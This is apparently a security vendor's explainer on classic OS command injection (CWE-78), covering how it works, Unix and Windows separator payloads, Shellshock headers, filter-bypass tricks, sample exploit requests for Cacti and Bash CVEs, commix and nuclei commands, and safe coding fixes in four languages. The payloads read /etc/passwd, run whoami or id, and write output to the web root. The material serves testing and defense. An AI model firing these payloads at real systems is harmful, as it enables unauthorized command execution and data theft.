Classic OS Command Injection

What is Classic OS Command Injection?#

Classic OS command injection (CWE-78) is the in-band variant of command injection: the application passes user-supplied input to an OS shell function, and the injected command's output appears in the same HTTP response. The attacker both delivers the payload and reads the result through the same channel.

The root cause is string concatenation in a shell context: os.system("ping -c 1 " + user_input), exec("nslookup " + domain), shell_exec("convert " . filename). The shell receives the complete concatenated string and interprets every character in it — including the attacker's control operators. The application then returns the combined output of all executed commands.

This is distinct from blind injection (output discarded), time-based blind (delay oracle), and OOB injection (side-channel exfiltration). All four share the same root vulnerability but require different detection and exploitation paths. Classic injection is the simplest to confirm: if the injected command output appears in the response, the case is proven.

Mechanism#

The exploit chain has four steps:

1. The application receives user input intended as a data argument — a hostname, filename, IP address, or other string the developer intended to use as a parameter value.
2. The application concatenates that input into a shell command string without neutralizing metacharacters.
3. The string is passed to a shell execution function: os.system(), subprocess.run(shell=True), exec(), shell_exec(), Runtime.exec(String), proc_open().
4. The shell tokenizes the full string, recognizes the attacker's injected separator, executes the appended command, and returns combined output to the application, which reflects it in the HTTP response.

A minimal vulnerable endpoint and its exploitation:

GET /api/tools/ping?host=127.0.0.1;id HTTP/1.1
Host: vulnerable.example.com
User-Agent: Mozilla/5.0

HTTP/1.1 200 OK
Content-Type: text/plain
 
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Attack Variants#

Shell Separators — Unix#

# Semicolon — most common
127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a; id; hostname
 
# Pipe
127.0.0.1 | id
127.0.0.1 | cat /etc/passwd
 
# Conditional
valid_host && id        # executes id only if valid_host resolves
bad_host || id         # executes id because bad_host fails
 
# Command substitution
127.0.0.1$(id)
127.0.0.1`whoami`
 
# URL-encoded newline — bypasses most ; | & filters
127.0.0.1%0aid
127.0.0.1%0acat%20/etc/passwd

Shell Separators — Windows (cmd.exe)#

REM Ampersand — sequential
127.0.0.1 & whoami
127.0.0.1 & net user
 
REM Pipe
127.0.0.1 | whoami
 
REM Conditional
127.0.0.1 && systeminfo
127.0.0.1 || whoami
 
REM CRLF newline
127.0.0.1%0d%0awhoami
 
REM PowerShell
127.0.0.1; Invoke-Expression "whoami"
127.0.0.1; iex "whoami"

HTTP Header Injection#

HTTP headers processed by backend tooling are high-value injection vectors:

GET /health HTTP/1.1
User-Agent: () { :; }; /bin/bash -c 'id'
X-Forwarded-For: 127.0.0.1; id
Referer: http://example.com/?q=;id

User-Agent carries Shellshock payloads in CGI environments — Apache mod_cgi passes HTTP headers as environment variables to CGI scripts, and Bash's environment variable parsing bug (CVE-2014-6271) executes trailing commands. The X-Forwarded-For header is the injection vector for CVE-2022-46169 (Cacti): the header value was passed to proc_open() in the polling subsystem.

Canary Proof Payloads#

# Canary pattern — unique string confirms execution
; echo cmdi-CANARY-$(id)
| echo cmdi-CANARY-$(id)
 
# Simpler confirmation
; id
; whoami
; cat /etc/passwd | head -3

The BreachVex Proof Engine injects a uniquely-marked echo payload such as | echo <canary> and ; echo <canary>, then confirms injection when that canary appears in the response body.

Real-World Examples#

CVE-2022-46169 — Cacti ≤ 1.2.22 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Cacti's network polling subsystem passed the poller_id POST parameter directly to PHP's proc_open() function. The value was also accessible via the X-Forwarded-For header in log processing routines. With no authentication required, an attacker could inject commands through either vector:

POST /remote_agent.php HTTP/1.1
Host: cacti.example.com
X-Forwarded-For: 127.0.0.1;id
 
action=polldata&poller_id=1%3Bid&host_id=1&local_data_ids[]=1

Exploited within 48 hours of public disclosure in December 2022. The vulnerability resulted in widespread botnet infections targeting unpatched Cacti instances. A companion CVE (CVE-2023-49085, CVSS 8.8) chained SQL injection → LFI → RCE on authenticated installations.

CVE-2014-6271 — GNU Bash Shellshock (CVSS 10.0)

Bash parsed environment variable values as function definitions when the value began with () { :; }. A flaw allowed appending arbitrary commands after the closing brace:

# Malicious User-Agent header
User-Agent: () { :; }; /bin/bash -c 'id'
 
# In CGI context, Apache mod_cgi sets HTTP_USER_AGENT as:
HTTP_USER_AGENT=() { :; }; /bin/bash -c 'id'
# Bash executes: id  — before the CGI script even starts

Exploited globally within hours of the September 25, 2014 disclosure. Millions of web servers, network appliances, routers, and IoT devices running CGI were affected. Botnet campaigns began the same day, mass-scanning for vulnerable endpoints. Shellshock remains the canonical example of Classic command injection in penetration testing training.

CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)

While CVE-2024-3400 involves a chained file-write-to-execution pattern, it exemplifies the 2024 dominant exploitation model for Classic-adjacent injection. A malformed SESSID cookie containing path traversal characters created an arbitrary file on the device filesystem. A second request triggered that file's execution as a Python script with root privileges. Threat actor UTA0218 (Volexity) used this to deploy the UPSTYLE backdoor against government and critical infrastructure targets globally. Added to CISA's KEV catalog on the day of discovery, April 12, 2024.

Detection#

Manual Testing#

1. Identify all parameters that might reach shell execution: URL query parameters (host, ip, domain, cmd, exec, file, path, name, target), POST body fields in JSON or form-encoded payloads, HTTP headers (User-Agent, X-Forwarded-For, Referer), and filenames in file upload flows.

2. Submit a canary payload in each parameter. Start with the lowest-noise separator:

   ; echo cmdi-test-$(id)
   | echo cmdi-test-$(id)
   %0a echo cmdi-test-$(id)

   Copy

   If uid= appears in the response, Tier 1 confirmation is achieved.

3. If the response is clean, test Windows separators for Windows-hosted applications:

   & whoami
   | whoami
   && net user

   Copy

4. Test HTTP headers with Shellshock payloads for CGI environments:

   User-Agent: () { :; }; /bin/bash -c 'id'

   Copy

5. Test quote-fragmented versions to bypass keyword filters:

   ; w'h'o'am'i
   ; /b\in/id

   Copy

6. If output appears but is empty, try redirecting to a writable web path:

   ; id > /var/www/html/proof.txt

   Copy

   Then fetch /proof.txt to read the result.

Automated Detection#

Commix tests Classic injection automatically:

commix --url "http://target.com/ping?host=*" --batch --smart --level=3 --technique=C

Burp Suite Pro scanner submits canary payloads with unique markers and checks for reflection in responses. Burp also tests common headers automatically when scanning in scope.

Nuclei has community templates for CVE-specific Classic injection — CVE-2022-46169, CVE-2024-10914 (D-Link), and others. Run:

nuclei -u http://target.com -t cves/ -tags cmdi

BreachVex confirms Classic injection by injecting a uniquely-marked echo payload (| echo <canary>, ; echo <canary>) and verifying that canary in the response body. A unique correlation ID per probe prevents cross-probe false positives.

Prevention#

Python#

import subprocess, re
 
# VULNERABLE — shell=True, string concatenation
import os
os.system(f"ping -c 1 {user_host}")
subprocess.run(f"ping -c 1 {user_host}", shell=True)
 
# SAFE — array form, no shell invoked
subprocess.run(["ping", "-c", "1", user_host])
 
# SAFER — allowlist validation before the call
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', user_host):
    raise ValueError("Invalid IP address — must be x.x.x.x format")
subprocess.run(["ping", "-c", "1", user_host])

Node.js#

const { exec, execFile, spawn } = require('child_process');
 
// VULNERABLE — exec always spawns /bin/sh
exec(`ping -c 1 ${req.query.host}`, (err, stdout) => console.log(stdout));
 
// SAFE — execFile bypasses shell entirely
execFile('ping', ['-c', '1', req.query.host], (err, stdout) => {
  res.send(stdout);
});
 
// SAFE — spawn with shell: false (default)
const proc = spawn('ping', ['-c', '1', req.query.host]);
proc.stdout.on('data', (data) => res.write(data));

Java#

String userHost = request.getParameter("host");
 
// VULNERABLE — string form uses StringTokenizer, CreateProcess on Windows
Runtime.getRuntime().exec("ping -c 1 " + userHost);
 
// SAFE — ProcessBuilder with explicit argument list
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userHost);
pb.redirectErrorStream(true);
Process p = pb.start();
// Read p.getInputStream() for output

PHP#

$host = $_GET['host'];
 
// VULNERABLE
exec("ping -c 1 $host", $output);
system("ping -c 1 " . $host);
 
// ACCEPTABLE — escapeshellarg prevents metacharacter injection (POSIX)
$safeHost = escapeshellarg($host);
exec("ping -c 1 $safeHost", $output);
 
// BEST — strict allowlist + escapeshellarg as defense-in-depth
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    http_response_code(400);
    exit("Invalid IP address");
}
exec("ping -c 1 " . escapeshellarg($host), $output);
 
// NOTE: escapeshellarg() is insufficient on Windows — CVE-2024-1874, CVE-2024-5585
// Avoid .bat/.cmd files with user-controlled input on Windows regardless

Allowlist Validation#

When user input must map to system resources, allowlist validation is the secondary defense:

# Allowlist — exact match only
ALLOWED_REPORTS = {"access_log", "error_log", "audit_log"}
if user_report not in ALLOWED_REPORTS:
    raise ValueError("Invalid report name")
subprocess.run(["generate-report", user_report])
 
# Regex allowlist for structured input
import re
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}$', user_slug):
    raise ValueError("Invalid slug — alphanumeric and hyphens only")

Resources#

• OWASP OS Command Injection Defense Cheat Sheet
• PortSwigger Web Security Academy — OS Command Injection
• PayloadsAllTheThings — Command Injection
• CVE-2022-46169 — NVD